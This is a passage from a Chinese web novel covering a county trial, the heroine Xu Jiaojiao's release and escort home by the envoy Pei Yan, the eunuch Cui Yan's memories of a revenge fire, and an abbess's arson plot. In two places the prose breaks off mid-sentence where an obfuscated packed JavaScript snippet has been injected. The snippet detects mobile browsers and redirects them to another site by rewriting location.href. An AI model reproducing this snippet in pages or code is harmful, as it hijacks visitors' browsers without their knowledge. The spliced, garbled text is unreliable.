静非猛地抬头，眼中闪过惊恐。她的目光在堂上飞快地扫过，许娇娇站在一旁，静静看着她；那妇人躲在一边，低着头不敢看她；人群深处，有一道阴冷的目光正盯着她，像毒蛇吐信。 那是水仙姑的人。 静非的腿开始发软。 “贫尼……贫尼……”她张了张嘴，却说不出话来。 周景明沉下脸：“静非，本县问你话，从实招来！” 静非浑身一颤，忽然扑通一声跪了下来。 “青天大老爷！贫尼……贫尼冤枉啊！” 她哭喊起来，声音凄厉：“贫尼根本不知道什么赵大，什么那夜的事！贫尼一直在水月庵清修，从未出过庵门半步！那许氏……那许氏是诬陷贫尼！她与水月庵有仇，早些年还俗时便对水仙姑怀恨在心，如今是想借机报复！” 许娇娇看着她，眼中闪过一丝复杂的神色。 她知道静非会这样说。水仙姑既然敢让她来作证，自然早就教好了说辞。 周景明盯着静非，目光如炬：“你说你从未出过庵门，可有人证？” 静非一愣，随即道：“有！水月庵的师太可作证！还有……还有庵主！对，水仙姑庵主可以替贫尼作证！” 周景明冷笑一声：“水仙姑？她是你庵主，自然替你说话。这样的人证，岂能作数？” 静非脸色白了白，却说不出话来。 周景明正要再问，忽然有衙役来报：“县尊，门外有一人求见，说是……说是知道此案内情。” 周景明眉头一皱：“何人？” 衙役低声道：“是个妇人，自称……是赵大的邻居。” 周景明目光一闪：“带上来。” 片刻，一个四十来岁的妇人被带了进来。她穿着一身粗布衣裙，袖口挽着，手上还带着茧子，一看便是做惯了农活的。 她一进堂便跪了下来，磕了个头：“民妇青坑村孙氏，见过青天大老爷。” 周景明看着她：“孙氏，你知道此案内情？” 孙氏点头：“民妇是赵大家的邻居，两家只隔一道墙。那夜的事，民妇……民妇知道一些。” 赵大的寡嫂猛地抬起头，眼中闪过惊恐。 周景明道：“你且说来。” 孙氏深吸一口气，道：“那夜大雨，民妇也听见赵大出门的声音。后来他回来时，天都亮了，浑身是泥，脸色惨白。民妇隔着墙问他怎么了，他说他媳妇没了。” 她顿了顿，继续道：“民妇问他，不是去请郎中了吗？他说，他去了，但没请到。民妇又问，那郎中说啥？他说……” 孙氏忽然看向静非，目光直直的：“他说，那郎中是个女子，穿着灰布尼袍，带着斗笠，自称娇杏。但那女子说的话，却不是许娘子会说的话。” “什么话？”周景明追问。 孙氏道：“赵大学给民妇听——他说那女子讲，‘这等污秽之事，也配来寻我？我清清白白一个未出阁的女子，沾了这晦气，往后还怎么说亲？’” 她转向许娇娇，目光中带着歉意：“许娘子，民妇有一回进城，也去张记买过药，见过你。你待人温和，说话和气，从不会那样刻薄。民妇当时就想，这话不像是你说的。可民妇人微言轻，不敢多嘴……” 许娇娇看着她，微微颔首，眼中带着感激。 周景明沉声道：“孙氏，你说的这些，可愿画押作证？” 孙氏点头：“民妇愿意。” 赵大的寡嫂，脸色彻底白了。她猛地扑向孙氏，伸手就要去抓她的脸：“你个贱人！你胡说！你收了那女医的好处是不是？” 衙役连忙将她拉开。 周景明一拍惊堂木，厉声道：“堂上不得放肆！再敢喧哗，杖责二十！” 赵大的寡嫂被按在地上，浑身发抖，却说不出话来。 静非跪在一旁，整个人已经软了。她的目光在堂上乱转，像是想找个地方躲起来。 周景明看向她，目光如刀：“静非，你还有何话说？” 静非张了张嘴，却说不出话来。 正在此时，堂外忽然一阵骚动。 一个穿着靛蓝短褐的汉子被推了进来，身后跟着两个穿青衣的年轻男子。那两个年轻男子面容普通，可那双眼睛，却锐利得像鹰。 长风走在前面，向堂上的周景明拱了拱手：“周县尊，在下奉钦差之命，送一个人来。” 周景明心头一跳，忙起身还礼：“不敢，不敢。敢问这是……” 长风指了指那个被推进来的汉子：“此人姓孙，是王大官人庄上的管事。那日在张记闹事，自称苦主家属的，就是他。” 那汉子正是那日第一个在张记闹事的人。此刻脸色惨白，浑身发抖，一进堂便扑通一声跪了下来。 长风又道：“此人已招供，是收了王大官人的好处，故意去张记闹事，诬陷许娘子。指使他的人，是王大官人的亲信，姓苟。” 周景明脸色变了变，随即沉声道：“来人，将此人收押，待本县细审。” 衙役上前，将那汉子拖了下去。 静非跪在一旁，整个人已经抖得像筛糠。她看着那汉子被拖走，看着孙氏还跪在那里，看着许娇娇站在一旁，目光平静地看着她。那目光不怒不威，却让她如坠冰窖。 她忽然想起那夜，水仙姑对她说的话：“你放心，不会让你白做的。事成之后，我帮你换个地方，重新开始。” 换个地方？ 重新开始？ 静非忽然笑了。那笑容比哭还难看。 她抬起头，看向周景明，声音沙哑得像破锣：“青天大老爷，贫尼……贫尼愿意招。” 周景明目光一凝：“招什么？” 静非闭上眼，又睁开。她看着许娇娇，眼中带着复杂的情绪。有恨，有怕，还有一丝说不清的悔意。 “那夜冒充许娘子的人……是贫尼。” 此言一出，满堂哗然。 赵大的寡嫂，彻底瘫软在地。胡文站在一旁，脸色白得像纸。堂外围观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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裴宴翻身下马，大步走进县衙。 周景明忙迎上去，躬身行礼：“下官见过帅使。” 裴宴摆了摆手，目光越过他，落在堂中那道纤瘦的身影上。 许娇娇站在那儿，依旧穿着那身半旧的藕荷色衣裙，发丝有些散乱，可背脊挺得笔直。她也正望着他，目光相遇的刹那，她唇角微微扬起，露出一抹浅浅的笑。 那笑，像月光破云，清辉洒落。 裴宴心头那根绷了三日的弦，终于松了。 他走进堂中，在许娇娇面前站定，低头看着她。 “可还好？” 许娇娇仰头望着他，声音很轻：“托您的福，还好。” 裴宴点了点头，转身看向周景明：“周县令，此案审得如何？” 周景明忙将供状呈上，又将方才堂上所审之事简要禀报了一遍。 裴宴接过供状，一页页翻看。看到静非的供词时，他眸光微微一沉，抬眼看向那个蜷缩在地上的灰袍身影。 静非被他这一眼看得浑身发寒，缩成一团，连头都不敢抬。 裴宴没有理会她，只将供状还给周景明，淡淡道：“周县令辛苦了。此案既已查明，许氏无罪，当堂释放。” 周景明连连点头：“是，是。下官这就办。” 他转身，正要说话，裴宴忽然又道：“静非冒名行骗，致人死命，按律当如何？” 周景明一愣，随即道：“按《大越刑统》，诈伪欺罔，致人死者，当处绞刑。” 静非猛地抬起头，眼中满是惊恐：“不……不！贫尼是被人指使的！是水仙姑！是她让贫尼做的！” 裴宴没有看她，只淡淡道：“指使之人，本官自会查办。但你所做之事，须你自己承担。” 静非瘫软在地，再说不出一句话。 周景明挥了挥手，衙役上前，将静非拖了下去。 堂外围观的人群渐渐散去。那几个闹事的人也被刘大勇带人押走，等待他们的，将是律法的严惩。 许娇娇站在堂中，看着这一切，心头涌起一股说不清的复杂情绪。 静非，那个在水月庵时便处处与她作对的老尼，终于伏法。可她的心中，却没有丝毫快意。 两条人命，换一个真相。 这代价，太重了。 她正想着，忽然感觉有人走近。抬起头，正对上裴宴的目光。 他就站在她面前，离她不过三尺。夕阳的余晖从门外斜斜照进来，在他肩头镀上一层淡淡的金辉。 “走吧。”他说。 许娇娇一怔：“去哪儿？” 裴宴看着她，唇角微微扬起。那笑意很浅，却让那双总是冷峻的眼眸，此刻显得格外柔和。 “本官说过，必亲迎汝出。” 他顿了顿，声音放轻了些：“走吧，送你回柳枝巷。” 许娇娇望着他，眼眶忽然有些发酸。 她没有说话，只点了点头，跟着他走出县衙。 门外，夕阳将落未落，天边烧成一片橘红。秋风拂面而来，带着深秋的凉意，可此刻，她却觉得心头暖得像揣着一团火。 长风牵着马候在门外，见她出来，咧嘴一笑：“许娘子，没事吧？” 许娇娇摇了摇头，也笑了：“没事。多谢长风大哥。” 长风挠了挠头，嘿嘿笑着，目光却偷偷往裴宴那边瞟了一眼。 裴宴翻身上马，低头看向许娇娇。 “上车吧。” 许娇娇点了点头，上了停在旁边的马车。 马车缓缓驶动，车轮碾过青石板路，发出轱辘的声响。许娇娇坐在车厢里，透过车帘的缝隙，看着前方那道骑在马上的玄色身影。 夕阳将他的影子拉得很长，投在地上，像一道沉默的守护。 她收回目光，靠在车壁上，闭上眼。 三日的担惊受怕，三日的阴冷潮湿，三日的忐忑不安——此刻，终于都过去了。 她想起他说“必亲迎汝出”时，那双深邃的眼睛。想起他说“可还好”时，那微微蹙起的眉头。想起他站在牢房门口，背对着她，说“本官在外头守着”时，那道孤直的背影。 许娇娇唇角微微扬起。 马车一路向南，朝着菰城的方向驶去。 许娇娇睁开眼，透过车帘的缝隙，又看了那道身影一眼。 夕阳余晖里，他的背影，像一株挺拔的青松。 她忽然想起一句诗—— “愿我如星君如月，夜夜流光相皎洁。” 这念头只一闪，便被她自己按了下去。 不该想的。 可那笑意，却怎么也压不下去。 77. 第77章 崔琰的回忆 柳枝巷，静尘已经不记得这是第几次走到巷口张望了。街上行人匆匆，偶然有人驻足，静尘心跳都要停止半拍。长风差人给她们传话的时候，她又惊又喜，娇杏被带走已经三日，她和静心胆战心惊了三日，今日是第三日的傍晚时分了，路上行人越来越稀少，巷子里只有秋风卷着落叶，沙沙作响。就连不远处的崔娘子家的门也关的紧紧的，这几日不见他们动静。远处偶尔传来几声犬吠。 “师姐，你坐下歇会儿吧。”静心的声音从身后传来，带着浓重的鼻音，“长风大哥说了，娇杏会没事的。” 静尘没有回头，只摇了摇头。 从前日午后得到消息。娇杏被押差带走，关进了大牢。她便和静心去张记打听消息，廖大夫一脸愁绪，只说万大夫找人疏通去了。让她们俩先不要慌。她又托人去县衙问，衙役们要么摇头说不知道，要么干脆不理人。 她后来一打听，才知道，娇杏被带到了归平县，并不是在菰城的大牢，她又惊又怕，静心只是哭。两个眼睛都肿了。 静尘虽然没有出过远门，却也知道这个距离意味着什么。骑马要一个多时辰，坐马车更要小半日。娇杏一个弱女子，被押着走那么远的路，关进陌生的牢房，那些人会不会欺负她？会不会对她用刑？ 她不敢往下想。 “都怪我……”静心缩在门槛上，抱着膝盖，眼泪扑簌簌地掉，“水仙姑要找的是我们，我有卖身契在水仙姑手中的，我是水月庵的尼姑，是我害了她……” “别胡说。”静尘走回来，在她身边坐下，轻轻揽住她的肩，“是我连累了她，不是你，从一开始都是我连累了你们。当初若不是娇杏为了救我，她也不至于遭到水仙姑她们的陷害。” “那现在怎么办？”静心抬起头，眼睛肿得像桃子，“娇杏会不会有事？他们会不会打她？会不会……” “不会的。”静尘打断她，声音比方才坚定了几分，“娇杏吉人自有天相，不会有事的。” 她说着，目光却不由自主地望向巷口。夜色浓重，什么也看不见。 隔壁的门“吱呀”一声开了。 刘寡妇披着衣裳探出头来，手里端着一大碗热气腾腾的姜汤：“静尘师父，静心师父，喝碗姜汤暖暖身子。这秋夜凉，别冻坏了。” 静尘忙起身接过：“刘婶，这怎么好意思……这么晚了还麻烦您。” “麻烦什么？”刘寡妇摆摆手，在门槛上挨着静心坐下，“我老婆子一个人，也睡不着。想着你们俩在这儿干熬，心里不落忍。” 她叹了口气，望向漆黑的巷口：“许娘子是个好人，平日里对我这老婆子多有照应。她出这样的事，我这心里也堵得慌。” 静心听了，眼泪又涌了出来。 刘寡妇拍拍她的背，轻声道：“姑娘别哭。老天爷有眼，好人有好报，许娘子一定不会有事的。” 这话说出来，她自己心里其实也没底。可这个时候，除了说这些，她也不知道还能做什么。 静尘沉默着，只是握紧了静心的手。 三人就这么坐在门槛上，望着夜色，等着天亮。 也不知过了多久，巷口忽然传来一阵辚辚的车马声。 三人同时抬头望去。 夜色中，一辆青帷马车缓缓驶入巷子，车辕上挂着两盏气死风灯，在黑暗中晕出两团昏黄的光晕。马车后还跟着两骑，马上的人穿着玄色劲装，腰悬长刀。 马车在院门前稳稳停住。 车帘掀开，一个穿着玄色氅衣的男子先跳下车来。他转过身，伸手向车内，扶出一个穿着藕荷色衣裙的女子。 那女子虽然发丝散乱，衣裙沾尘，可背脊挺得笔直。她抬起头，望向院门口站着的人，唇角微微扬起，露出一抹疲惫却温暖的笑。 “娇杏！” 静心第一个冲了过去，一把抱住她，放声大哭。 静尘站在原地，看着那一幕，眼泪也止不住地流下来。她迈步走过去，却在经过那玄衣男子身边时，不由自主地停了一瞬。 裴宴就站在马车旁，静静看着这一幕。烛光映在他脸上，那张总是冷峻的眉眼，此刻竟带着一丝难得的柔和。 他察觉到静尘的目光，微微颔首。 静尘连忙行了合十礼，却不知该说什么。他是长风的主子，是钦差裴安抚。在水患时，她在仁心堂门口见过他和娇杏说话。她只是个寻常尼姑，对这样的大人物，不知该如何应对。 “静尘师父。”裴宴先开了口，声音低沉，“许娘子受了些惊吓，好在没有受伤。回去让她好生歇息，喝碗姜汤驱驱寒。” 静尘连连点头：“多谢天使……多谢天使……” 裴宴没有再多说，只将目光投向正被静心抱着的许娇娇。 许娇娇似有所感，抬起头来，正对上他的目光。 四目相对，隔着几步的距离。秋风拂过，卷起几片枯叶，从两人之间打着旋儿落下。 “裴安抚……”许娇娇松开静心，走上前几步，仰头望着他，“多谢您……又劳您奔波。” 裴宴看着她。月光下，她的脸色有些苍白，可那双眼睛依旧清澈，像深潭映着星子。 “应该的。”他说，声音很轻。 许娇娇望着他，忽然想起什么，从袖中取出那块令牌，双手递还：“这个……还给您。” 裴宴没有接。他低头看着那块躺在掌心的令牌，沉默片刻，才道：“先留着。” 许娇娇一怔。 “若再有人欺负你，”他的声音放得更低，“就亮出来。” 许娇娇握着那块令牌，掌心传来冰凉的触感，却又莫名烫人。她想说什么，却发现喉咙有些发哽。 裴宴看着她，唇角微微扬起，那弧度很浅，却让那张冷峻的脸瞬间柔和了许多。 “进去吧。”他说，“外面凉。” 许娇娇点了点头，却又忍不住问：“您……您连夜奔波……” 裴宴摇了摇头，知道她要说什么，“我还有些事要处理。你先歇着，明日……再说。” 他没有说“明日”如何，但那两个字从他嘴里说出来，竟带着一种让人安心的笃定。 许娇娇看着他，心头涌起千言万语，却最终只化作一句：“您……路上当心。” 裴宴点了点头，翻身上马。他勒着缰绳，低头看了她一眼，那目光里藏着太多说不清的东西。 然后，他催动马匹，带着那两个随从，转身离去。 马蹄声渐渐消失在夜色中。 许娇娇站在院门口，望着那个方向，久久未动。 “娇杏……”静心轻轻拉了拉她的袖子，“进去吧，外面凉。” 许娇娇回过神，点了点头。 一行人进了院子。刘寡妇张罗着去烧姜汤，静心忙着铺床，静尘则拉着许娇娇在炕上坐下，握着她的手，一句话也说不出来。 许娇娇靠在师姐肩上，闭上眼，长长地舒了一口气。 她没想到裴宴竟真的亲自来接他，原本他骑马走在前头，她从车帘的缝隙里盯着他看了许久。 裴宴长的真好看，她想，世上怎么会有如此好看的男子。 暮色里他骑着马，脊背挺得像一把出鞘的剑。玄色的氅衣被风撩起，露出里面暗青色的袍子，衬得整个人清冷又疏离。他微微侧着脸，看不清表情，只能看见下颌的轮廓。利落、干净，像刀裁出来的。 他眉眼生得极好。剑眉斜飞，底下那双瑞凤眼，看人的时候像是能把人看透。鼻梁高挺，薄唇紧抿，整张脸棱角分明......也许是他感受到她目光的炙热，他忽然勒马，转头。 她忙坐直身子，调转目光望向车窗外。 车子一沉，他竟然迈步跨进马车和她同坐，许娇娇心忽然一下一下砰砰跳动，像是有什么东西在胸腔里乱撞。 她忙垂下眼，不看他，可眼角的余光还是忍不住往那边瞥。他坐得离她不远，玄色的氅衣上沾着夜里的寒气，车厢里不但不冷，反而使人燥热了起来。 马车动了。车轮碾过青石板，发出辘辘的声响。她盯着自己的鞋尖，盯着裙摆上沾的泥点，盯着手里那块还没捂热的令牌。就是不往旁边看。 可越不看，越能感觉到他的存在。 他呼吸很轻，几乎听不见。他坐得很稳，马车颠簸时也不见晃动。他身上有一股香味氤氲，极有清韵的香，混着夜风的清冽，若有若无地往她这边飘。 许娇娇攥紧了手里的令牌，掌心开始出汗。 他为什么要上车？ 外面不是有马吗？他骑马骑得好好的，那背影多好看啊，干嘛非要挤进来？ 她想起方才他那句“先留着”，声音低低的，像怕惊着她似的。又想起他说“若再有人欺负你”时，那眼神。明明是看着她的，却又像在看别的什么，沉沉的，藏着东西。 他是不是……特意上来跟她说点什么？ 许娇娇心跳得更厉害了。 可他又不说话。 就这么坐着，离她三尺远，一动不动，连呼吸都听不见。像是只为了坐着，不为别的。 她偷偷抬起眼，飞快地往旁边扫了一下—— 他正闭着眼。 车厢里光线暗，看不清他的表情，只能看见那双眼阖着，睫毛在眼睑下落了浅浅的影。他是累了吧！这么远的路，来回奔波。 他是你的救命恩人，他是大越朝的安抚使......他是为了她才累的。 这个念头一冒出来，她心里那点慌慌的甜，忽然变成了软软的酸。 她想说点什么，又怕吵着他。想让他靠一靠，又不敢动。只能就这么坐着，攥着那块令牌，听着自己的心跳，一下，又一下。 直到外面有人说了一句：“到了。” 她才觉得时间怎么过的这么快，眨眼工夫就到了。 —— 扬州城，繁华的街市，热闹的府城，有些冷清的发运使行署。 崔琰坐在太师椅上，面前的烛火跳动了整整一夜。 他没有睡。 从入夜，先是宋义被钦差的人从应天府带走的密报，然后是归平县水月庵的一个尼姑静非，涉嫌杀人的庭审的详情。再然后是那个闹事的管事也被拿下了。钦差亲自押着那个女大夫离开归平县的消息。 每一条消息，都像一根针，扎在他心头最隐秘的角落。 宋义。 这个名字，他太熟悉了。十年前，正是他让崔旺找的宋义，让崔旺设法，将宋义拉进来。崔旺于是安排了，让他去翠玉楼后巷接的人。那时候宋义还在宋国公府当差，是宋衙内身边得用的。崔旺说这宋义人十分活络，讲兄弟情义。办事稳妥，嘴巴也紧。 更重要的是，他是宋家的人。 崔琰端起茶盏，茶早已凉透。他看着盏中那汪浑浊的茶汤，思绪飘回了二十多年前—— 那年他随父亲进京访友，在一场诗会上，因出身寒微遭人嘲笑。他穿着洗得发白的旧袍，站在一群锦衣华服的世家子弟中间，格格不入。 “这是谁带来的？”有人故意问。 “崔家的，滁州来的。”另一人笑着接话，“听说祖父那一辈中过举人，也算是书香门第。可惜，到他爹这辈，就只能靠给人抄书糊口了。” 众人哄笑起来。他攥紧袖口，指甲掐进掌心。 这时，一个锦衣少年拨开人群走了过来。他认得那人，是忠勤伯府的嫡长子，戴明书。 “崔家的？”戴明书上下打量他，忽然笑了，“我道是谁，原来是崔家庄上那个穷酸。你爹上个月不是还去伯府求过差事？怎么，没成？” 周围的人笑得更响了。他站在人群中央，脸颊烧得发烫，却一个字都辩驳不出。祖父的功名、家道的衰落、父亲的潦倒，在这一刻全都变成了旁人嘴里的笑话。 那日之后，他闭门不出，数月不愿见人。心里的那把火，就是从那个时候烧起来的。 可他没有想到，这还不是最难堪的。 那年腊月，他跟着爹进城送年货。父亲为了贴补家用，年节时也接些跑腿的活计。在街上又撞见了戴明书。他躲闪不及，被那少年骑着的高头大马撞倒在地，箩筐翻了，年货撒了一地。 戴明书勒住马，俯视着他，笑容比诗会上更刺眼。 “哟，又是你。”那少年跳下马，走到他面前，用马鞭挑起他的下巴，“听说你爹现在给人跑腿送货？到底是书香门第，越混越回去了。” 周围的人哄笑起来。 他趴在地上，浑身发抖，不知是气的还是怕的。 戴明书用马鞭在他脸上抽了一下，抽出一道血痕。 “记住了，”他俯下身，凑在崔琰耳边，一字一句道，“你们这种人，就算读过几本书，骨子里也还是泥腿子。这辈子，都只配趴在地上，给爷们当狗。” 那声音，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369794|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神，那笑容，他一辈子都忘不了。 那年他十二岁。 回到家后，他在炕上躺了三天，高烧不退。父亲守在床边，红着眼圈一遍遍说着“是爹没用”。母亲只会哭。他没有死。他活过来了，活过来的时候，心里烧着一把火。 那把火，烧了二十年。 他后来想了很多办法报仇。可他家道中落，无权无势，戴明书是伯府公子，他连人家的衣角都摸不着。 唯一的办法，就是进宫。 九岁那年，托了旧日的人情，父亲辗转求人把他送进了宫。净房里躺了三个月，高烧差点要了他的命。可他挺过来了。因为他心里那把火，一直没有灭。 他在宫里熬了十几年，从小太监熬到内侍省都知，从无人问津熬到宋贵妃跟前得用的人。他等的机会，终于来了—— 那年，他收养的侄儿崔旺说，他有个邻居的妹妹，叫罗玉儿，被人卖进了东门瓦子里最有名的翠玉楼。 崔琰听到这个消息的时候，心里那根弦忽然动了。 翠玉楼。那是戴明书这帮纨绔子弟经常光顾的地方。 他开始让人暗中打听，得知罗玉儿还没挂牌，只是个伺候姑娘丫鬟，她伺候的是翠玉楼的头牌水娘。于是他开始布局。 他让崔旺暗中联系罗玉儿，告诉她，有办法让她脱离苦海，但前提是让她做一件事。起初，罗玉儿犹豫，害怕，可架不住崔旺的游说。 她最终答应了。 可光是罗玉儿一个人不够。还需要一个能在外面接应的人。 崔琰想到了宋家。 那时候他已经在宋贵妃跟前得用，和宋国公府的人常有往来。宋家和忠勤伯府素有嫌隙，若能借这个机会把宋家也拉下水，日后就算事情败露，也有宋家在前面挡着。 他存的是这份私心。 他让崔旺设法接近宋衙内的亲信宋义。宋义是宋国公的一个远方亲戚的儿子，被宋国公挑中安排在宋衙内身边当差，宋衙内是京城有名的纨绔，好眠花宿柳，曾和戴明书因为争夺一位女伎，被戴明书抽了一鞭子，自此二人结仇。宋义虽是宋家的人，却并非核心人物，崔琰挑中他也是有一番考量，他正合适。崔旺就三不五时的请宋义吃酒玩耍，宋义觉得崔旺慷慨，边和他推心置腹，他却不知道，这不过是崔琰的计谋而已。那夜崔旺说只是一个小忙，需要宋兄出面解决。宋义自然义不容辞，一只是接一女子，有什么关系。于是，宋义在腊月二十三那夜去翠玉楼后巷接走了罗玉娘。 后来的事，一如他所料。 只是他，他没料到那场大火烧死了二十三个人。包括戴明书。 忠勤伯府从此一蹶不振。 崔琰，终于报了二十年前那一鞭之仇。 更妙的是，宋家也被牵连进来。虽然宋家后来把宋义打发回应天府，把这事压了下去，可崔琰手里始终握着这个把柄。他知道，只要宋义活着，宋家就永远欠他一份人情。 所以他这些年才能在江南顺风顺水，才能在漕运上上下其手而无人敢问。 可如今，宋义落到了钦差手里。 而他万万没有想到的是，十年前的那场大火，竟然有一个漏网之鱼……水娘，竟然能逃到江南，在水月庵做了尼姑，而他更没有想到的是，他在江南做的那些事，这个贱人全都知道，还参与其中…… 崔琰放下茶盏，站起身，走到窗前。窗外夜色浓重，看不见半点星光。 他知道那个姓裴的钦差在查什么。漕运贪腐、人口贩卖，那些都是表面的。那人真正想查的，是他背后的宋家。若只是贪腐，他还有办法周旋。可若是那场大火被翻出来…… 崔琰闭上眼，深吸一口气。 他怕什么？ 他怕的不是死。从入宫那天起，他就知道自己这条命是捡来的，随时都可能丢掉。 他怕的是功亏一篑。 二十年的隐忍，二十年的谋划，二十年从泥地里爬出来的路——若是一朝被人翻出来，全部化为乌有，他不甘心。 他更怕的是，被人当作弃子。 他是从底层爬上来的，太清楚这世道的规则了。有用的时候，你是心腹、是干将；没用的时候，你就是祸害、是累赘。宋家不会保他，宋贵妃更不会。到了紧要关头，他们只会把他推出去，让他一个人扛下所有罪名。 到那时，他崔琰，就真的成了那只替罪的狗。 就像当年他趴在地上，被戴明书用马鞭抽着脸时一样。 “使相……” 陈纲头的声音从身后传来，打断了崔琰的思绪。 崔琰没有回头，只沉声道：“说。” 陈纲头跪在地上，低声道：“王大官人，小的已经派人去传话了。可他那个人……您也知道，眼皮子浅，未必把这事放在心上。” 崔琰冷笑一声。 王兆贵，仗着有个当官的兄弟，又认了他做干爹，在归平县横行惯了。这种蠢货，根本不知道什么叫危险。他只怕还等着水仙姑的消息，等着那个女大夫被定罪呢。 “告诉王兆贵，”崔琰缓缓道，“若他还想要这条命，就把他那些账本、信件，统统烧掉。那个苟文书，既然被抓了，就想办法……让他永远闭嘴。” 陈纲头心头一凛，低头应道：“是。” 崔琰转过身，走回太师椅前，重新坐下。烛光在他脸上投下明明灭灭的光影，让那张保养得宜的脸显得有些阴鸷。 “还有，”他压低声音，“让人盯着水月庵。水娘那个贱人，我没想到她居然还活着，她知道得太多了。” 陈纲头抬起头，眼中闪过一丝惊异：“使相的意思是……” 崔琰没有回答，只端起茶盏，抿了一口凉透的茶。 那茶苦涩，一如他此刻的心境。 陈纲头不敢再问，磕了个头，躬身退了出去。 书房里只剩下崔琰一人。 他坐在太师椅上，望着跳动的烛火，眼前却浮现出另一张脸—— 二十多年前，那个穿着锦袍的少年，用马鞭挑起他的下巴，一脸肆意妄为的笑着说：“你这种泥腿子，这辈子都只配趴在地上，给爷们当狗。” 如今，还不是已经化成了一堆白骨。 而他崔琰，还活着，还站在这里。 他闭上眼，深吸一口气。 再睁开眼时，那双眼睛里已经没有了方才的惶惑，只剩下冰冷的狠绝。 78. 第78章 孤注一掷 夜色如墨，归平县水月庵的后院里，一灯如豆。 水仙姑的禅房内，她手中攥着一张皱巴巴的纸条，指节泛白。纸条是半个时辰前送来的，上面只有短短一行字： “静非当堂招供，已指认一切。” 她盯着那行字，眼睛像是要喷出火来。 静非。那个贱人。那个从外面跑回来、跪在她脚边哭诉求饶的贱人。她给了她机会，让她去作证，让她咬死许娇杏，她答应的好好的。可结果呢？ 招供。指认一切。 水仙姑猛地将纸条揉成一团，狠狠砸在地上。 “蠢货！”她咬牙切齿，声音像是从牙缝里挤出来的，“没用的东西！早知如此，当初就该让她死在外头！” 烛火被她这一下带得猛地摇曳，墙上她的影子也跟着扭曲晃动，像一只狰狞的鬼。 门外传来轻微的脚步声，一个小尼姑探头进来，战战兢兢地问：“师太，您……您有什么吩咐？” 水仙姑抬眼看去。那目光冷得像毒蛇，小尼姑吓得往后缩了缩。 “滚。” 一个字，小尼姑连滚带爬地跑了。 禅房里又只剩下她一人。水仙姑站起身，走到窗前，推开窗扇。夜风灌进来，带着深秋的寒意，吹得她浑身一颤。 窗外那棵老歪脖子枣树光秃秃的，枝桠伸向夜空，像一只只干枯的手。树下埋着了尘的尸骨，已经八年了。 她忽然想起八年前那个夜晚。了尘跪在她面前，说要去报官，说她做下的那些事天理难容。她冷笑着，用绳子勒紧了她的脖子。了尘挣扎的样子，她至今还记得清清楚楚。 那时她以为自己赢了。 后来呢？来了个许娇杏，救了静尘，逃出水月庵，一路跑到菰城。她几次三番想除掉她，都没能得手。如今，静非又招了。 水仙姑闭上眼，深深吸了一口气。 她知道，自己已经没有退路了。 静非招供，官府很快就会来抓她。那个姓裴的钦差，那双冷得像寒潭的眼睛，她只看过一次，就再也不想看见第二次。他会把她关进大牢，会审她，会让她把所有事情都说出来——翠玉楼、戴明书、了尘、那些被卖掉的女子…… 不。她不能落到那个地步。 水仙姑猛地睁开眼。那双眼眸里，此刻燃烧着疯狂的光。 还有一步棋。 罗玉娘。 那个贱人，十年前放火烧了翠玉楼，如今还想装良家妇女安安稳稳过日子？她手里握着她的把柄，逼她做一件事。放火，烧了柳枝巷那小院，烧死许娇杏和那两个贱尼姑。 玉娘一直在拖。说什么有人暗中保护，说什么不好下手。可她已经没有时间再等了。 今夜。就是今夜。 水仙姑转身，从柜中取出一套夜行衣，三下两下换上。又从枕下摸出一把匕首，藏入袖中。最后，她打开妆匣，取出那支海棠金簪，对着铜镜，缓缓插入发间。 镜中的那张脸，在烛光下显得格外诡异。眉眼依旧精致，可那双眼眸里，已经没有了人的温度。 “玉娘，”她对着镜子轻声说，“你若再不动手，就别怪我不客气了。” 她吹熄了灯，推开房门，消失在浓重的夜色中。 柳枝巷，崔家。 崔娘子坐在床沿，手里捏着一张纸条，浑身发抖。 纸条是傍晚时分从门缝里塞进来的，上面的字迹她太熟悉了—— “静非招了。今夜若不动手，明日我便让人把你那如花似玉的女儿带走。你知道我说到做到。” 带走女儿。 这四个字像一把刀，狠狠扎在她心上。 她抬起头，看向里屋的方向。那里，她的女儿正睡得香甜。十二三岁的年纪，性格温顺，已经出落的十分貌美。她记得第一次崔旺将她带到自己跟前时，才顶点大，一双大大的眼睛里噙满了泪水，她只知道那是崔旺的亲生女儿，她没问崔旺她的娘亲去了哪里，她只是可怜她小小年纪就没了母亲，她将自己所有的爱都倾注在她身上，她给她取名叫巧娘...... 如今巧娘就睡在她的隔壁屋，她只知道她的娘亲最近总是心神不宁，夜里常常惊醒。她不知道，自己的命，正悬在一根线上。 崔娘子闭上眼，眼泪无声滑落。 十年前那场大火，她以为自己已经逃出来了。跟着崔旺，改名换姓，嫁人生子，过上寻常妇人的日子。她以为那些噩梦已经过去了，再也不会回来。 可水娘没有死。她变成了水仙姑，又出现在她面前，用那场大火，用那些死去的人，死死掐住了她的喉咙。 “帮我做一件事，放一把火，烧死那几个人。事成之后，你我两清。” 两清？她知道水仙姑不会放过她的。这种人，留着知道秘密的人，迟早是祸害。可她没有选择。 门外传来轻轻的叩门声。 崔娘子浑身一颤。这么晚了，谁会来？ 她起身，走到门边，压低声音问：“谁？” “娘子，是我。”原来是丫鬟茴香的声音。她猛地松了口气，紧接着就听丫鬟道：“水月庵的师太说是收到娘子的信，上门请见。” 崔娘子的心猛地缩紧。她犹豫片刻，稳了稳心神，拉开门。 丫鬟茴香看到她出现，急忙上前想要搀扶她，她挥手让她退下。 ”这里没你什么事，你去陪着姑娘，外头秋寒，莫要吵醒她。” 挥退了丫鬟。她整理了一下衣衫，缓步上前开了大门。 月光下，水仙姑站在门外，穿着一身黑衣，脸上带着诡异的笑。 崔娘子下意识往后退了一步。水仙姑已经迈步跨了进来，顺手关上了门。 两人站在院子里，对视片刻。 